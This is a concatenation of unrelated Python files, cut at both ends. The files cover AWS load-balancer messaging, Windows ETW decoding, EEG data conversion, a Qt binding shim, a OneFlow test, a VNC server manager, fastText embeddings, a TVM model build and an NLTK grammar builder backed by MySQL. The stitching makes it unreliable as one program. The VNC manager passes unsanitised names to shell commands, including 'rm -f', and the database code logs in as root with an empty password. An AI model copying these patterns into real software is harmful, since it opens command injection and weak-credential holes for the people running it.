'elbRestorePercent': self.elb_restore_percent, 'loadBalancerArn': self.load_balancer_arn, 'sqsQueueURL': self.sqs_queue_url, 'shedMesgDelaySec': self.shed_mesg_delay_sec, 'restoreMesgDelaySec': self.restore_mesg_delay_sec, 'targetGroupArn': self.target_group_arn } return message import logging from ctypes import * from winthingies.win32.const import * LOGGER = logging.getLogger(__name__) def get_formatted_value(in_type, buffer): """Decode a buffer given the in type. :param in_type: (USHORT) The type of the buffer :param buffer: (bytes) The raw buffer :return: type depending on the in type """ if in_type == TDH_INTYPE_UNICODESTRING: return wstring_at(buffer) elif in_type == TDH_INTYPE_ANSISTRING: return string_at(buffer) elif in_type == TDH_INTYPE_INT8: return cast(buffer, POINTER(c_int8)).contents.value elif in_type == TDH_INTYPE_UINT8: return cast(buffer, POINTER(c_uint8)).contents.value elif in_type == TDH_INTYPE_INT16: return cast(buffer, POINTER(c_int16)).contents.value elif in_type == TDH_INTYPE_UINT16: return cast(buffer, POINTER(c_uint16)).contents.value elif in_type == TDH_INTYPE_INT32: return cast(buffer, POINTER(c_int32)).contents.value elif in_type == TDH_INTYPE_UINT32: return cast(buffer, POINTER(c_uint32)).contents.value elif in_type == TDH_INTYPE_INT64: return cast(buffer, POINTER(c_int64)).contents.value elif in_type == TDH_INTYPE_UINT64: return cast(buffer, POINTER(c_uint64)).contents.value elif in_type == TDH_INTYPE_FLOAT: return cast(buffer, POINTER(c_float)).contents.value elif in_type == TDH_INTYPE_DOUBLE: return cast(buffer, POINTER(c_double)).contents.value elif in_type == TDH_INTYPE_POINTER: return cast(buffer, POINTER(c_uint64)).contents.value else: LOGGER.debug("InType not handled: {}".format(in_type)) return bytes(buffer) # Thanks to https://github.com/fireeye/pywintrace/blob/master/etw/common.py#L90 def rel_ptr_to_str(base, offset): """ Helper function to convert a relative offset to a string to the actual string. """ return cast( rel_ptr_to_ptr(base, offset), c_wchar_p ).value def rel_ptr_to_ptr(base, offset): """ Helper function to convert a relative offset to a void pointer. """ return cast( (cast(base, c_voidp).value + offset), c_voidp ) #!/usr/bin/python # -*- coding:utf-8 -*- # @author : east # @time : 2021/4/18 20:28 # @file : plot.py # @project : ML2021 # @software : Jupyter import h5py import numpy as np import pandas as pd # Convert Data to HDF5 data = pd.read_excel("eeg_emotion.xlsx") with h5py.File("eeg_emotion.hdf5", "w") as f: f['features'] = data.iloc[:, :-2].to_numpy(dtype=np.float64) f['labels'] = data.iloc[:, -2:].to_numpy(dtype=np.float64) f.attrs['name'] = 'EEG Emotion' f.attrs['sampling_rate'] = 120 f.attrs['time'] = 60 # # Add new Data # with h5py.File("eeg_emotion.hdf5", "a") as f: # f['psd'] = psd # f['category'] = category # # get all keys # with h5py.File("eeg_emotion.hdf5", "r") as f: # print(f.keys()) # print(f.attrs.keys()) tlambert03/PyQRangeSlider # -*- coding: utf-8 -*- # # Copyright © 2009- The Spyder Development Team # Copyright © 2014-2015 # # Licensed under the terms of the MIT License # (see LICENSE.txt for details) """ This file is borrowed from qtpy and modified to support PySide6/PyQt6 (drops PyQt4) """ import os import platform import sys import warnings from distutils.version import LooseVersion class PythonQtError(RuntimeError): """Error raise if no bindings could be selected.""" class PythonQtWarning(Warning): """Warning if some features are not implemented in a binding.""" # Qt API environment variable name QT_API = "QT_API" # Names of the expected PyQt5 api PYQT5_API = ["pyqt5"] # Names of the expected PyQt6 api PYQT6_API = ["pyqt6"] # Names of the expected PySide2 api PYSIDE2_API = ["pyside2"] # Names of the expected PySide6 api PYSIDE6_API = ["pyside6"] # Detecting if a binding was specified by the user binding_specified = QT_API in os.environ # Setting a default value for QT_API os.environ.setdefault(QT_API, "pyqt5") API = os.environ[QT_API].lower() initial_api = API assert API in (PYQT5_API + PYQT6_API + PYSIDE2_API + PYSIDE6_API) PYQT5 = True PYSIDE2 = PYQT6 = PYSIDE6 = False # When `FORCE_QT_API` is set, we disregard # any previously imported python bindings. if not os.environ.get("FORCE_QT_API"): if "PyQt5" in sys.modules: API = initial_api if initial_api in PYQT5_API else "pyqt5" elif "PySide2" in sys.modules: API = initial_api if initial_api in PYSIDE2_API else "pyside2" elif "PyQt6" in sys.modules: API = initial_api if initial_api in PYQT6_API else "pyqt6" elif "PySide6" in sys.modules: API = initial_api if initial_api in PYSIDE6_API else "pyside6" if API in PYQT5_API: try: from PyQt5.QtCore import PYQT_VERSION_STR as PYQT_VERSION # noqa from PyQt5.QtCore import QT_VERSION_STR as QT_VERSION # noqa PYSIDE_VERSION = None # noqa if sys.platform == "darwin": macos_version = LooseVersion(platform.mac_ver()[0]) if macos_version < LooseVersion("10.10"): if LooseVersion(QT_VERSION) >= LooseVersion("5.9"): raise PythonQtError( "Qt 5.9 or higher only works in " "macOS 10.10 or higher. Your " "program will fail in this " "system." ) elif macos_version < LooseVersion("10.11"): if LooseVersion(QT_VERSION) >= LooseVersion("5.11"): raise PythonQtError( "Qt 5.11 or higher only works in " "macOS 10.11 or higher. Your " "program will fail in this " "system." ) del macos_version except ImportError: API = os.environ["QT_API"] = "pyside2" if API in PYSIDE2_API: try: from PySide2 import __version__ as PYSIDE_VERSION # noqa from PySide2.QtCore import __version__ as QT_VERSION # noqa PYQT_VERSION = None # noqa PYQT5 = False PYSIDE2 = True if sys.platform == "darwin": macos_version = LooseVersion(platform.mac_ver()[0]) if macos_version < LooseVersion("10.11"): if LooseVersion(QT_VERSION) >= LooseVersion("5.11"): raise PythonQtError( "Qt 5.11 or higher only works in " "macOS 10.11 or higher. Your " "program will fail in this " "system." ) del macos_version except ImportError: API = os.environ["QT_API"] = "pyqt6" if API in PYQT6_API: try: from PyQt6.QtCore import PYQT_VERSION_STR as PYQT_VERSION # noqa from PyQt6.QtCore import QT_VERSION_STR as QT_VERSION # noqa PYSIDE_VERSION = None # noqa PYQT5 = False PYQT6 = True except ImportError: API = os.environ["QT_API"] = "pyside6" if API in PYSIDE6_API: try: from PySide6 import __version__ as PYSIDE_VERSION # noqa from PySide6.QtCore import __version__ as QT_VERSION # noqa PYQT_VERSION = None # noqa PYQT5 = False PYSIDE6 = True except ImportError: API = None if API is None: raise PythonQtError( "No Qt bindings could be found.\nYou must install one of the following packages " "to use QtRangeSlider: PyQt5, PyQt6, PySide2, or PySide6" ) # If a correct API name is passed to QT_API and it could not be found, # switches to another and informs through the warning if API != initial_api and binding_specified: warnings.warn( 'Selected binding "{}" could not be found, ' 'using "{}"'.format(initial_api, API), RuntimeWarning, ) API_NAME = { "pyqt5": "PyQt5", "pyqt6": "PyQt6", "pyside2": "PySide2", "pyside6": "PySide6", }[API] """ Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import unittest import oneflow as flow import oneflow.unittest from oneflow.test_utils.automated_test_util import * @autotest(n=1, check_graph=False) def _test_matmul(test_case, placement, x_sbp, y_sbp): x = random_tensor(ndim=2, dim0=8, dim1=16).to_global(placement=placement, sbp=x_sbp) y = random_tensor(ndim=2, dim0=16, dim1=8).to_global(placement=placement, sbp=y_sbp) return torch.matmul(x, y) @autotest(n=1, check_graph=False) def _test_tensor_broadcast_matmul(test_case, placement, x_sbp, y_sbp): x = random_tensor(ndim=3, dim0=8, dim1=8, dim2=16).to_global( placement=placement, sbp=x_sbp ) y = random_tensor(ndim=2, dim0=16, dim1=8).to_global(placement=placement, sbp=y_sbp) return x.matmul(y) class TestMatMulModule(flow.unittest.TestCase): @globaltest def test_matmul(test_case): for placement in all_placement(): for x_sbp in all_sbp(placement, max_dim=2): for y_sbp in all_sbp(placement, max_dim=2): _test_matmul(test_case, placement, x_sbp, y_sbp) @globaltest def test_broadcast_matmul(test_case): for placement in all_placement(): for x_sbp in all_sbp(placement, valid_split_axis=[0, 1, 2, 3]): for y_sbp in all_sbp(placement, valid_split_axis=[0, 1]): _test_tensor_broadcast_matmul(test_case, placement, x_sbp, y_sbp) if __name__ == "__main__": unittest.main() 0 from email import message from ossaudiodev import OSSAudioError import sys import os import json # getting the name of the directory # where the this file is present. current = os.path.dirname(os.path.realpath(__file__)) # Getting the parent directory name # where the current directory is present. parent = os.path.dirname(current) # adding the parent directory to # the sys.path. sys.path.append(parent) # now we can import the module in the parent # directory. vncs_directory = '/home/harshv/python/desktopManager/bin/vncs_directory/' import subprocess def run_command(command_string): try: process = subprocess.Popen(command_string, stdout=subprocess.PIPE, shell = True) except OSError: return False process.wait() if process.returncode != 0: return False return process.communicate()[0] def check_if_vncs_exist(name): return os.path.isfile(vncs_directory + name) def run_vnc_server(geometry): output = run_command("vncserver -geometry " + geometry + " > /tmp/vncoutput 2>&1 ") output_file = open("/tmp/vncoutput") log_file= "" desktop_file = "" hostname = os.uname().nodename for line in output_file: if line.startswith("Log file is"): log_file = line.split(' ')[-1] if line.startswith("New 'X' desktop is "): desktop_file = line.split(' ')[-1].strip() display_port = desktop_file.split(':')[-1] vnc_file = open(log_file.strip()) vnc_port = "" for line in vnc_file: if "Listening for VNC connections on TCP port" in line: vnc_port = line.split(' ')[-1].strip() if vnc_port != "": return {'status': 'ok', 'message': {'vnc_port': vnc_port, 'display': display_port, 'log_file': log_file.strip(), 'geometry': geometry, 'hostname': hostname}} else: return {'status': 'error' ,'message': {'vnc_port': '', 'display': '', 'log_file': '', 'geometry': '', 'hostname': hostname }} def start_vnc_server(name, geometry): if not check_if_vncs_exist(name + ".vncs"): vnc_info = run_vnc_server(geometry) if vnc_info['status'] == 'ok': file_name = vncs_directory + name + ".vncs" with open(file_name, 'w') as outfile: json.dump(vnc_info['message'], outfile) return {'status': 'ok', 'message': { 'vnc_info': vnc_info }} else: return {'status': 'error', 'message': 'Not able to create VNCs'} else: return {'status': 'error', 'message': 'VNC already exists'} def kill_vnc_server(name): if check_if_vncs_exist(name): file_name = vncs_directory + name with open(file_name, 'r') as outfile: vnc_data = json.load(outfile) display_id = vnc_data['display'] output = run_command("vncserver -kill :" + display_id.strip() + " > /tmp/vncoutput 2>&1") file = open('/tmp/vncoutput') output = run_command('rm -f ' + file_name) for line in file: if line.startswith('Killing'): return {'status': 'ok', 'message': name + " vnc server removed"} return {'status': 'ok', 'message': name + " vnc server config file removed"} else: return {'status': 'error', 'message': name + " vnc server not found"} def list_all_vnc_server(): vnc_servers = [] for vncs in os.listdir(vncs_directory): with open(vncs_directory + "/" + vncs, 'r') as vnc_file: vnc_servers.append({ 'name': vncs.split('/')[-1],'data': json.load(vnc_file)}) if vnc_servers: return {'status': 'ok', 'message': vnc_servers} else: return {'status': 'error', 'message': 'No VNC servers found'} def get_vnc_info(name): if check_if_vncs_exist(name): file_name = vncs_directory + name with open(file_name, 'r') as vncs: data = json.load(vncs) return {'status': 'ok', 'message': data} else: return {'status': 'error', 'message': name + ' VNC does not exist'} def kill_all_vnc(): list_of_files = os.listdir(vncs_directory) messages = [] for file in list_of_files: if file.endswith('.vncs'): vnc_status = kill_vnc_server(file) if vnc_status['status'] == 'ok': messages.append({'status': 'ok', 'message': vnc_status['message']}) else: messages.append({'status': 'error', 'message': vnc_status['message']}) if list_of_files: return {'status': 'ok', 'message': messages} else: return {'status': 'error', 'message': 'No VNCs found'} def kill_multiple_vncs(list_of_vnc): if list_of_vnc: messages = [] for vnc in list_of_vnc: if vnc.endswith('.vncs'): vnc_status = kill_vnc_server(vnc) if vnc_status['status'] == 'ok': messages.append({'status': 'ok', 'message': vnc_status['message']}) else: messages.append({'status': 'error', 'message': vnc_status['message']}) else: messages.append({'status': 'error', 'message': 'wrong vnc name given: '+vnc}) return {'status': 'ok', 'message': messages} else: return {'status': 'error', 'message': 'No VNCs found'}src/caciolai-NER/data/embeddings.py0 from typing import * from tqdm import tqdm import os import torch import numpy as np import urllib import zipfile from .vocabularies import Vocabulary data_folder_path = "../../data" model_folder_path = "../../model" embeddings_folder = os.path.join(model_folder_path, "embeddings") def create_embedding_tensor(vocabulary: Vocabulary, embedding_dim: int, pretrained_embeddings: Dict[str, np.ndarray]) -> torch.Tensor: """ Creates a lookup tensor for the tokens in the vocabulary starting from pretrained embeddings. Args: vocabulary: The vocabulary with the mapping from tokens to indices. embedding_dim: The dimension of the vectors of the embeddings. pretrained_embeddings: The pretrained embeddings for the tokens. Returns: The lookup tensor of shape (vocabulary length, embedding dimension) with the available pretrained embeddings for the tokens in the vocabulary """ embedding_tensor = torch.randn(len(vocabulary), embedding_dim) initialised = 0 for i, w in vocabulary.itos.items(): if w not in pretrained_embeddings: # check needed for , tokens continue initialised += 1 vec = pretrained_embeddings[w] embedding_tensor[i] = torch.from_numpy(vec) embedding_tensor[vocabulary[""]] = torch.zeros(embedding_dim) print("Initialised embeddings {}".format(initialised)) print("Random initialised embeddings {} ".format(len(vocabulary) - initialised)) return embedding_tensor def get_embeddings(emb_fpath: str, vocab: Vocabulary, emb_dim: int) -> torch.Tensor: emb_dict = dict() with open(emb_fpath, "r") as f: for l in tqdm(f, desc="Loading pretrained word embeddings"): line = l.split() if len(line) == 2: # fasttext has an header to be skipped continue tok = "".join(line[:-emb_dim]) if tok in vocab.stoi.keys(): vec = np.array(line[-emb_dim:], dtype=np.float32) emb_dict[tok] = vec return create_embedding_tensor(vocab, emb_dim, emb_dict) def download_embeddings(embeddings_fpath: str): url = 'https://dl.fbaipublicfiles.com/fasttext/vectors-english/crawl-300d-2M.vec.zip' filehandle, _ = urllib.request.urlretrieve(url) zip_file_object = zipfile.ZipFile(filehandle, 'r') first_file = zip_file_object.namelist()[0] file = zip_file_object.open(first_file) content = file.read() with open(embeddings_fpath, "w+") as f: f.write(content) file.close() def prepare_embeddings(vocabulary: Vocabulary) -> torch.Tensor: embeddings_fname = "crawl-300d-2M.vec" embeddings_fpath = os.path.join(embeddings_folder, embeddings_fname) embedding_dim = 300 if not os.path.isfile(embeddings_fpath): print("Downloading pre-trained word embeddings...") download_embeddings(embeddings_fpath) print("Done!") pretrained_embeddings = get_embeddings(embeddings_fpath, vocabulary, embedding_dim) return pretrained_embeddings 1-10 import os import pstats import numpy as np import tvm from PIL import Image from tvm import te from tvm.contrib import graph_runtime from tvm import relay from tvm.runtime import container from tvm.runtime import vm as vm_rt from tvm.relay import testing from tvm.relay import vm from tvm.contrib.download import download_testdata def extract(path): import tarfile if path.endswith("tgz") or path.endswith("gz"): dir_path = os.path.dirname(path) tar = tarfile.open(path) tar.extractall(path=dir_path) tar.close() else: raise RuntimeError('Could not decompress the file: ' + path) def load_test_image(dtype='float32'): image_url = 'https://github.com/dmlc/mxnet.js/blob/master/data/cat.png?raw=true' image_path = download_testdata(image_url, 'cat.png', module='data') resized_image = Image.open(image_path).resize((128, 128)) #image_data = np.asarray(resized_image).astype("float32") image_data = np.asarray(resized_image).astype("uint8") # Add a dimension to the image so that we have NHWC format layout image_data = np.expand_dims(image_data, axis=0) print('input', image_data.shape) return image_data model_url = "http://download.tensorflow.org/models/mobilenet_v1_2018_08_02/mobilenet_v1_1.0_224.tgz" # Download model tar file and extract it to get mobilenet_v1_1.0_224.tflite #model_path = download_testdata(model_url, "mobilenet_v1_1.0_224.tgz", module=['tf', 'official']) #model_dir = os.path.dirname(model_path) model_dir = './mobilenet-v1.0.5-128quant/' #extract(model_path) model_name ='mobilenet_v1_0.5_128_quant.tflite' # Now we can open mobilenet_v1_1.0_224.tflite #tflite_model_file = os.path.join(model_dir, "mobilenet_v1_1.0_224.tflite") tflite_model_file = os.path.join(model_dir, model_name) tflite_model_buf = open(tflite_model_file, "rb").read() # Get TFLite model from buffer try: import tflite tflite_model = tflite.Model.GetRootAsModel(tflite_model_buf, 0) except AttributeError: import tflite.Model tflite_model = tflite.Model.Model.GetRootAsModel(tflite_model_buf, 0) image_data = load_test_image() input_tensor = "input" input_shape = (1, 128, 128, 3) input_dtype = "uint8" # Parse TFLite model and convert it to a Relay module mod, params = relay.frontend.from_tflite(tflite_model, shape_dict={input_tensor: input_shape}, dtype_dict={input_tensor: input_dtype}) #desired_layouts = {'nn.conv2d': ['NCHW', 'default']} #seq = tvm.transform.Sequential([relay.transform.RemoveUnusedFunctions(), # relay.transform.ConvertLayout(desired_layouts)]) #with tvm.transform.PassContext(opt_level=3): # mod = seq(mod) # Build the module against to x86 CPU target = "llvm -mattr=+neon" #target = "arm_cpu -mtriple=armv7a-linux-gnueabihf -mattr=+neon,+vfp4,+thumb2" cpudevice = tvm.runtime.cpu() #ctx = tvm.context(str(target), 0) ctx = tvm.runtime.context("cpu") with relay.build_config(opt_level=3): graph, lib, params = relay.build(mod, target, params=params) lib.save("mob-1.0.5-128-arm64-quant.o") tvm.contrib.cc.create_shared("mob-1.0.5-128-arm64-quant.so", ["mob-1.0.5-128-arm64-quant.o"]) # Create a runtime executor module module = graph_runtime.create(graph, lib, cpudevice) with open("./mob_graph.json", "w") as fo: fo.write(graph) with open("./mob_param.params", "wb") as fo: fo.write(relay.save_param_dict(params)) print("shared library created\n") kruskod/nltk import copy from operator import itemgetter import itertools from nltk.featstruct import CelexFeatStructReader, unify, TYPE, EXPRESSION, _unify_feature_values from nltk.grammar import FeatStructNonterminal, Production, FeatureGrammar from nltk.topology.FeatTree import minimize_nonterm, open_disjunction, simplify_expression, GF, STATUS from nltk.topology.compassFeat import GRAM_FUNC_FEATURE, LEMMA_FEATURE, PRODUCTION_ID_FEATURE, BRANCH_FEATURE, \ INHERITED_FEATURE, SLOT_FEATURE, PERSONAL_FEATURE, INFLECTED_FEATURE, STATUS_FEATURE __author__ = ': ' import mysql.connector from mysql.connector import errorcode def connect(): try: # cnx = mysql.connector.connect(host="localhost", port=3306, user='root', password='', database='pgc', use_unicode = True, charset='utf8', collation='utf8_bin') cnx = mysql.connector.connect(unix_socket="/var/run/mysqld/mysqld.sock", database='pgc', password='', user='root', use_unicode = True, charset='utf8', collation='utf8_bin') except mysql.connector.Error as err: if err.errno == errorcode.ER_ACCESS_DENIED_ERROR: print("Something is wrong with your user name or password") elif err.errno == errorcode.ER_BAD_DB_ERROR: print("Database does not exist") else: print(err) else: return cnx def build_rules(tokens, fstruct_reader, dump=True): cnx = connect() productions = [] if cnx: cursor = cnx.cursor(buffered = True) query = ( ' select pos, i.feature as formFeature, c.feature as categoryFeature, l.lemma, f.lexFrameKey, w.word from WordForm w' + ' inner join InflectionalForm i on i.inflFormKey = w.inflFormKey' + ' inner join Lemma l on l.lemmaId = w.lemmaId' + ' inner join WordFrame f on f.lemmaId = w.lemmaId' + ' inner join WordCategory c on c.lexFrameKey = f.lexFrameKey' + ' where w.word=%s;') for token in tokens: try: cursor.execute(query, (token,)) productions.extend(productions_extractor(cnx, cursor, fstruct_reader)) except Exception as e: print("No wordforms found: '{}', {}!".format(token), e) import sys sys.exit(1) # productions.append(Production(FeatStructNonterminal("S[]"), ( # FeatStructNonterminal("S[]"), FeatStructNonterminal("XP[]"), FeatStructNonterminal("S[]"),))) if dump: sorted_productions = sorted(productions, key=lambda production: (get_production_id_feature(production), production.lhs().get(TYPE))) # f.write('\n'.join(rules)) with open('../../fsa/query.fcfg', "w") as f: # f.write('\n'.join(repr(rule) for rule in sorted_productions)) last_prod_id = None for rule in sorted_productions: prod_id = get_production_id_feature(rule) if prod_id != last_prod_id: f.write('\n') last_prod_id = prod_id f.write(repr(rule) + '\n') cursor.close() cnx.close() return FeatureGrammar(FeatStructNonterminal("S[status='Fin']"), productions) def get_production_id_feature(production): lhs = production.lhs() if PRODUCTION_ID_FEATURE in lhs: return lhs.get(PRODUCTION_ID_FEATURE) else: for nt in production.rhs(): if nt.get(TYPE) == 'hd': return nt.get(PRODUCTION_ID_FEATURE) def productions_extractor(cnx, cursor, fstruct_reader): productions = set() frameCursor = cnx.cursor(buffered=True) unificationCursor = cnx.cursor(buffered=True) frameQuery = ('select w.position, pos1,pos2,pos3,feature, w.facultative from WordCategorySegment w' + ' inner join Segment s on s.position = w.position' + ' left join PartOfSpeech p on p.pos = s.pos3' + ' where w.lexFrameKey = %s ' + # and pos2 !="mod" ' order by w.facultative, w.position;') unificationQuery = ('select cond, feature from UnificationFeatures u where u.position = %s;') for (pos, formFeature, categoryFeature, lemma, lexFrameKey, word) in cursor: word = word.decode('utf8') nt = formNT = catNT = None if formFeature: formNT = fstruct_reader.fromstring(formFeature) # formNT = formNT.filter_feature(SLOT_FEATURE, ) # , PERSONAL_FEATURE # formNT = formNT.filter_feature(SLOT_FEATURE, "ref", "branch", "POS", "perf_aux", # "personal", "vcat", "sepPrefix", "defdet", "inheritedFeature", "refperson", # "refnumber", "refpolite", # "properNoun", "particle", "iobj_case", "citationForm", "refgender", "lexiconSlot", # "obj_case", "location", # "degree", "cmpr", "lexicalSlot", ) # , PERSONAL_FEATURE formNT[TYPE] = pos nt = formNT if categoryFeature: catNT = fstruct_reader.fromstring(categoryFeature) # catNT = catNT.filter_feature(SLOT_FEATURE, ) # PERSONAL_FEATURE # catNT = catNT.filter_feature(SLOT_FEATURE, "ref", "branch", "POS", "perf_aux", # "personal", "vcat", "sepPrefix", "defdet", "inheritedFeature", "refperson", # "refnumber", "refpolite", # "properNoun", "particle", "iobj_case", "citationForm", "refgender", "lexiconSlot", # "obj_case", "location", # "degree", "cmpr", "lexicalSlot", ) # , PERSONAL_FEATURE catNT[TYPE] = pos nt = catNT if formNT and catNT: nt = unify(formNT, catNT) if nt: nt.add_feature({LEMMA_FEATURE: lemma}) nt[TYPE] = pos else: nt = fstruct_reader.fromstring(pos) # nt = minimize_nonterm(nt) frameCursor.execute(frameQuery, (lexFrameKey,)) gf = set() rhs = [] # hd = (None, None) # personal = nt.get_feature(PERSONAL_FEATURE) # if personal: # if not isinstance(personal, bool): # personal = personal[0] # # if personal: # weak status rule, discuss with the expert # status = nt.get_feature(STATUS_FEATURE) # if isinstance(status, str): # status = (status,) # if STATUS.Infin.name in status: # personal = False for (position, pos1, pos2, pos3, feature, facultative) in frameCursor: pos2NT = FeatStructNonterminal(pos2) pos2NT.add_feature({PRODUCTION_ID_FEATURE: lexFrameKey}) # pos2NT[TYPE] = pos2 pos3NT = FeatStructNonterminal(pos3) # After this point inherited features will be added unificationCursor.execute(unificationQuery, (position,)) for (cond, un_feature) in unificationCursor: if cond: condNT = fstruct_reader.fromstring('[' + cond + ']') if not unify(nt, condNT): continue unNT = fstruct_reader.fromstring(un_feature) # It is actually not unification, but features merging un_pos3NT = unify(pos3NT, unNT) pos3NT = un_pos3NT # .filter_feature(SLOT_FEATURE, PERSONAL_FEATURE, INFLECTED_FEATURE) pos2NT = unify(pos2NT, unNT) pos2NT = pos2NT # .filter_feature(SLOT_FEATURE, PERSONAL_FEATURE, INFLECTED_FEATURE) if facultative: if pos2NT.has_feature({BRANCH_FEATURE: 'obligatory'}): pos2NT = pos2NT.filter_feature(BRANCH_FEATURE) else: if pos2 == 'subj': status = nt.get_feature(STATUS_FEATURE) if status: if isinstance(status, str): status = (status,) if STATUS.Infin.name not in status: facultative = False if facultative: pos2NT.add_feature({BRANCH_FEATURE: 'facultative',}) if pos2 not in gf: gf.add(pos2) if pos2 == 'hd': if feature: headNT = fstruct_reader.fromstring(feature) nt = unify(nt, headNT) keys = set(nt.keys()) keys.remove(TYPE) if EXPRESSION in nt: keys.remove(EXPRESSION) for exp in simplify_expression(nt[EXPRESSION]): keys.update(exp.keys()) keys = tuple(keys) pos2NT.add_feature({INHERITED_FEATURE: keys}) pos3NT.add_feature({PRODUCTION_ID_FEATURE: lexFrameKey, INHERITED_FEATURE: keys}) rhs.append(pos2NT) # simplify disjunction to separate rules # map(process_inherited_features,openDisjunction(Production(pos2NT, pos3NT))) productions.update(map(lambda production: production.process_inherited_features(), open_disjunction(Production(pos2NT, (pos3NT,))))) # simplify lhs here lhs = copy.deepcopy(nt) # .filter_feature(SLOT_FEATURE, PERSONAL_FEATURE, INFLECTED_FEATURE) lhs[TYPE] = pos1 nt.add_feature({PRODUCTION_ID_FEATURE: lexFrameKey}) productions.update(open_disjunction(Production(nt, (word,)))) # productions.append(Production(nt, (word,))) productions.update( map(lambda production: production.process_inherited_features(), open_disjunction(Production(lhs, rhs)))) unificationCursor.close() frameCursor.close() for production in productions: lhs = production.lhs().filter_feature(SLOT_FEATURE, "ref", "POS", "perf_aux", "personal", "sepPrefix", "defdet", "inheritedFeature", "refperson", "refnumber", "refpolite", "properNoun", "particle", "iobj_case", "citationForm", "refgender", "lexiconSlot", "obj_case", "degree", "cmpr", "lexicalSlot",) # , PERSONAL_FEATURE, "location","vcat", if production.is_nonlexical(): rhs = tuple(nt.filter_feature(SLOT_FEATURE, "ref", "POS", "perf_aux", "personal", "sepPrefix", "defdet", "inheritedFeature", "refperson", "refnumber", "refpolite", "properNoun", "particle", "iobj_case", "citationForm", "refgender", "lexiconSlot", "obj_case", "degree", "cmpr", "lexicalSlot",) for nt in production.rhs()) # "location", "vcat", else: rhs = production.rhs() yield Production(lhs, rhs) def wordforms_extractor(cnx, cursor, fstruct_reader): productions = set() for (pos, formFeature, categoryFeature, lemma, lexFrameKey, word) in cursor: word = word.decode('utf8') nt = None if formFeature: formNT = fstruct_reader.fromstring(formFeature) formNT = formNT.filter_feature(SLOT_FEATURE, ) # , PERSONAL_FEATURE nt = formNT if not nt: nt = fstruct_reader.fromstring(pos) lhs = nt # .filter_feature(SLOT_FEATURE, PERSONAL_FEATURE, INFLECTED_FEATURE) lhs[TYPE] = pos nt.add_feature({PRODUCTION_ID_FEATURE: lexFrameKey,LEMMA_FEATURE: lemma}) productions.update(open_disjunction(Production(nt, (word,)))) return productions def build_wordform_productions(lemma, lexFrameKey, fstruct_reader): cnx = connect() productions = [] if cnx: cursor = cnx.cursor(buffered = True) query = ( ' select pos, i.feature as formFeature, c.feature as categoryFeature, l.lemma, f.lexFrameKey, w.word ' + ' from Lemma l inner join WordForm w on w.lemmaId =l.lemmaId ' + ' inner join WordFrame f on f.lemmaId = w.lemmaId ' + ' inner join InflectionalForm i on i.inflFormKey = w.inflFormKey' + ' inner join WordCategory c on c.lexFrameKey = f.lexFrameKey ' + ' where l.lemma=%s and f.lexFrameKey=%s;') cursor.execute(query, (lemma, lexFrameKey)) query_results = cursor.fetchall() productions = wordforms_extractor(cnx, query_results, fstruct_reader) word_forms = set() for (pos, formFeature, categoryFeature, lemma, lexFrameKey, word) in query_results: word_forms.add(word.decode("utf-8")) cnx.close() return word_forms, productions def build_productions(lemma, lexFrameKey, fstruct_reader): cnx = connect() productions = [] if cnx: cursor = cnx.cursor(buffered = True) query = ( ' select pos, i.feature as formFeature, c.feature as categoryFeature, l.lemma, f.lexFrameKey, w.word ' + ' from Lemma l inner join WordForm w on w.lemmaId =l.lemmaId ' + ' inner join WordFrame f on f.lemmaId = w.lemmaId ' + ' inner join InflectionalForm i on i.inflFormKey = w.inflFormKey' + ' inner join WordCategory c on c.lexFrameKey = f.lexFrameKey ' + ' where l.lemma=%s and f.lexFrameKey=%s;') cursor.execute(query, (lemma, lexFrameKey)) query_results = cursor.fetchall() productions = productions_extractor(cnx, query_results, fstruct_reader) word_forms = set() for (pos, formFeature, categoryFeature, lemma, lexFrameKey, word) in query_results: word_forms.add(word.decode("utf-8")) cnx.close() return word_forms, productions def get_rules(tokens, dump=True): cnx = connect() rules = ['% start S',] if cnx: cursor = cnx.cursor() query = ( 'select CONCAT(t.rule, " |- ", t.lexFrameKey, "\n", t.lexFrameKey, f.feature, " -> \'", w.form, "\'") from WordForms w inner join Lemma l on l.lemmaKey = w.lemmaKey ' + ' inner join LexFootFeatures f on f.infFormKey = w.infFormKey ' + ' inner join Lemma2Frame fr on fr.lemmaKey = w.lemmaKey ' + ' inner join LexFrameTrees t on t.lexFrameKey = fr.lexFrameKey ' + ' where w.form=%s;') for token in tokens: cursor.execute(query, (token,)) for (rule,) in cursor: rule_str = rule.decode("utf-8") rules.extend(rule_str.split('\n')) rules = sorted(rules) if dump: with open('../../fsa/query.fcfg', "w") as f: f.write('\n'.join(rules)) cursor.close() cnx.close() return rules def get_wordform(word, lemmaIds): cnx = connect() if cnx: cursor = cnx.cursor() query = ( 'SELECT * FROM WordForm where word=%s and lemmaId in (%s);' ) cursor.execute(query, (word, lemmaIds)) cnx.close() if cursor: for lemmaId, lemma in cursor: yield (lemmaId, lemma) def get_lemma(lemma): cnx = connect() if cnx: cursor = cnx.cursor() query = ( 'SELECT l.lemmaId as Lemma_Id, l.lemma as Lemma_lemma from Lemma l where l.lemma=%s' ) cursor.execute(query, (lemma,)) cnx.close() if cursor: for lemmaId, lemma in cursor: yield (lemmaId, lemma) def get_word_inf(word): cnx = connect() if cnx: cursor = cnx.cursor() query = ( 'SELECT ' ' l.lemmaId as Lemma_Id, ' ' f.lexFrameKey as WordFrame_lexFrameKey, ' ' l.lemma as Lemma_lemma, ' # l.feature as Lemma_feature, ' w.word as WordForm_word, w.pronuncation as WordForm_pronuncation, ' ' c.pos as WordCategory_pos, c.feature as WordCategory_feature, c.description as WordCategory_description, c.example as WordCategory_example, ' ' i.feature as InflectionalForm_feature, i.description as InflectionalForm_description, ' ' p.feature as PartOfSpeech_feature, p.description as PartOfSpeech_description, p.example as PartOfSpeech_example' ' FROM WordForm w' ' inner join WordFrame f ON w.lemmaId = f.lemmaId' ' inner join WordCategory c ON c.lexFrameKey = f.lexFrameKey' ' inner join InflectionalForm i ON i.inflFormKey = w.inflFormKey' ' inner join PartOfSpeech p ON p.pos = c.pos' ' inner join Lemma l ON l.lemmaId = w.lemmaId' ' where w.word =%s order by LENGTH(f.lexFrameKey), f.lexFrameKey;') cursor.execute(query, (word,)) cnx.close() return form_frames(cursor) def get_frame_segments(lexFrameKey): cnx = connect() if cnx: cursor = 